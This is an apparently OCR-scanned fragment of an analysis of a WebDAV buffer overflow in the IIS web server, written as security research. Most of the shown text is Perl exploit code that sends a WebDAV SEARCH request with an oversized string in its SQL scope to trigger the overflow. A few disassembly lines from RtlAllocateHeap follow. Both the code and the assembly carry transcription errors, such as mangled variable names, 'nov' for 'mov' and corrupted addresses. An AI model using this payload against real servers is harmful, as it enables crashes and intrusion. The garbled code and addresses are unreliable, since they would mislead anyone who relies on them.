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Analysis of a Buffer Overflow Vulnerability of WebDAV on IIS Web Server
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$over=$ch x $lI; #string to overflow

$xml="<?xml version="1.0"?> <D:searchrequest xmins:

D="DAV:"><D:sqI>SELECT DAV:displayname
SCOPE(" .$over.”")</D:sql></D:searchrequest>"."\n";
$l=length($xml);
$req="SEARCH / HTTP/1.1\nContent-type:
text/xml\nHost: $host\nContent-length: $1\ n\n$xml\n\n";
syswrite($socket, $req,length($req));
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sleep(1);
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public RtlAllocateHeap

PAGE :77FC976B Rt1AllocateHeap:
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; CODE XREF: .text:77F82953tp
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PAGE:77FC9768 push ebp

PAGE:77FCO760 nov ebp, esp
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